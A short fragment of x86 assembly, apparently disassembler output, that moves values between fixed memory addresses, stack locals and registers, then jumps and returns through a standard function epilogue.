mov eax, dword [0x101ccab8]
mov ecx, dword [0x101ccab4]
mov edx, dword [0x101ccaac]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], eax
jmp 0x101b60ef
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret